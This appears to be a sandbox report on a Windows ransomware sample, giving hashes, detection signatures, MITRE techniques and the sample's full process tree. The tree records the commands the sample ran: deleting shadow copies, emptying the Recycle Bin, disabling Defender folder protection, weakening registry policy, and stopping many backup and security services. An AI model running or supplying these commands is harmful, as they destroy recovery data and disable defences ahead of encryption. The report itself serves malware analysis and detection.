cd0f55dd00111251cd580c7e7cc1d17448faf27e4ef39818d75ce330628c7787

Analysis

max time kernel
112s
max time network
120s
platform
windows10-1703_x64
resource
win10-20231020-es
resource tags

arch:x64arch:x86image:win10-20231020-eslocale:es-esos:windows10-1703-x64systemwindows
submitted
21-11-2023 15:41

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General

Target

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Size

91KB
MD5

be60e389a0108b2871dff12dfbb542ac
SHA1

14b4e0bfac64ec0f837f84ab1780ca7ced8d670d
SHA256

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d
SHA512

6051bec441434a80c34ee2752a3da9c3a0307cd1b551aa27a0f7f6f75b9bf64b172745d80f03eea054a03ebd2c493df21fd48d8fa3b706d46a6f7fee0e7c0641
SSDEEP

1536:QguHLgeS6umiCp31W4qYXgsLlOqrgB9GpF7LXdarTkCAKL5dsluhtvM4CoLT6QPg:D6seqCp31Hgsp9a9GTrda8CAKLTsWkyI

Score

9^/10

ransomware

Malware Config

Signatures

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490
Renames multiple (52) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Downloads MZ/PE file

Drops startup file 1 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Executes dropped EXE 1 IoCs

Processes:

mkui4iah.exe

pid process

1280 mkui4iah.exe
Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Processes:

vssadmin.exe

description ioc process

File opened (read-only) \??\h: vssadmin.exe
File opened (read-only) \??\H: vssadmin.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exe

pid process

4564 sc.exe
1408 sc.exe
528 sc.exe
4456 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
1280	mkui4iah.exe

description	ioc	process
File opened (read-only)	\??\h:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe

pid	process
4564	sc.exe
1408	sc.exe
528	sc.exe
4456	sc.exe

Interacts with shadow copies 2 TTPs 14 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid	process
1968	vssadmin.exe
4900	vssadmin.exe
4184	vssadmin.exe
3868	vssadmin.exe
1800	vssadmin.exe
4436	vssadmin.exe
2296	vssadmin.exe
1028	vssadmin.exe
1056	vssadmin.exe
400	vssadmin.exe
928	vssadmin.exe
4896	vssadmin.exe
4536	vssadmin.exe
1016	vssadmin.exe

Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

4460 taskkill.exe
1268 taskkill.exe
2500 taskkill.exe
Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

notepad.exe

pid process

528 notepad.exe
Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

4640 PING.EXE

pid	process
4460	taskkill.exe
1268	taskkill.exe
2500	taskkill.exe

pid	process
528	notepad.exe

pid	process
4640	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

pid	process
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exetaskkill.exetaskkill.exetaskkill.exepowershell.exevssvc.exemkui4iah.exe

description	pid	process
Token: SeDebugPrivilege	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Token: SeDebugPrivilege	4460	taskkill.exe
Token: SeDebugPrivilege	2500	taskkill.exe
Token: SeDebugPrivilege	1268	taskkill.exe
Token: SeDebugPrivilege	3920	powershell.exe
Token: SeBackupPrivilege	5964	vssvc.exe
Token: SeRestorePrivilege	5964	vssvc.exe
Token: SeAuditPrivilege	5964	vssvc.exe
Token: SeAssignPrimaryTokenPrivilege	1280	mkui4iah.exe
Token: SeIncreaseQuotaPrivilege	1280	mkui4iah.exe
Token: SeImpersonatePrivilege	1280	mkui4iah.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

pid process

1820 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Suspicious use of SendNotifyMessage 1 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

pid process

1820 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	pid	process	target process
PID 1820 wrote to memory of 3920	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 1820 wrote to memory of 3920	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 1820 wrote to memory of 3920	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 1820 wrote to memory of 4192	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 4192	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 4192	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 2216	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 2216	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 2216	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 2876	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 2876	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 2876	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 2444	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 2444	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 2444	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 4204	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 4204	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 4204	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 1064	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 1064	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 1064	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 4532	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 4532	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 4532	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 1520	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 1520	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 1520	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 1848	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 1848	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 1848	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 3880	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 3880	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 3880	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 2180	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 2180	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 2180	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 2472	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 2472	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 2472	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 4836	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 4836	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 4836	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 512	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 512	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 512	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 2404	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 2404	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 2404	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 5092	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 5092	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 5092	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 5072	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 5072	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 5072	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 2948	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 2948	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 2948	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 3272	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 3272	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 3272	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 4380	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 4380	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 4380	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1820 wrote to memory of 2920	1820	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe

System policy modification 1 TTPs 2 IoCs

evasion

Modify Registry

T1112

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1"	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
"C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe"
1⤵
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1820
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -EnableControlledFolderAccess Disabled
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3920
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop avpsus /y
  2⤵
  PID:4192
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop avpsus /y
    3⤵
    PID:5300
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BMR Boot Service /y
  2⤵
  PID:2444
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BMR Boot Service /y
    3⤵
    PID:5256
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop stc_raw_agent /y
  2⤵
  PID:2948
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop stc_raw_agent /y
    3⤵
    PID:5560
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
  2⤵
  PID:2032
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:928
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:2296
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:3868
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:1800
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:1016
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:1968
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:1028
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:1056
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:4436
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:400
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:4896
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:4900
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:4536
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4184
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4460
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1268
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2500
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4564
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  - Launches sc.exe
  PID:1408
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  - Launches sc.exe
  PID:528
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  - Launches sc.exe
  PID:4456
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sophos /y
  2⤵
  PID:5060
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sophos /y
    3⤵
    PID:5700
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CAARCUpdateSvc /y
  2⤵
  PID:4796
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CAARCUpdateSvc /y
    3⤵
    PID:5496
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CASAD2DWebSvc /y
  2⤵
  PID:5028
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:3796
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcronisAgent /y
    3⤵
    PID:6080
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:1536
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcrSch2Svc /y
    3⤵
    PID:5832
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  PID:3376
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecRPCService /y
    3⤵
    PID:5708
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  PID:2952
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecManagementService /y
    3⤵
    PID:6072
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  PID:4692
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecJobEngine /y
    3⤵
    PID:5504
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecDiveciMediaService /y
  2⤵
  PID:4964
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
    3⤵
    PID:5824
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:2076
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
    3⤵
    PID:4564
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:4200
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
    3⤵
    PID:6124
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  PID:4828
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    3⤵
    PID:5720
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:212
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop PDVFSService /y
    3⤵
    PID:5596
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop veeam /y
  2⤵
  PID:924
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop veeam /y
    3⤵
    PID:5664
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:308
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamNFSSvc /y
    3⤵
    PID:5800
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  PID:2920
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamDeploymentService /y
    3⤵
    PID:5604
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  PID:4380
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamTransportSvc /y
    3⤵
    PID:6016
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VSNAPVSS /y
  2⤵
  PID:3272
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop zhudongfangyu /y
  2⤵
  PID:5072
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop zhudongfangyu /y
    3⤵
    PID:5748
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooIT /y
  2⤵
  PID:5092
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop YooIT /y
    3⤵
    PID:5616
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooBackup /y
  2⤵
  PID:2404
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBCFMonitorService /y
  2⤵
  PID:512
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop Intuit.QuickBooks.FCS /y
  2⤵
  PID:4836
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
    3⤵
    PID:5624
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBIDPService /y
  2⤵
  PID:2472
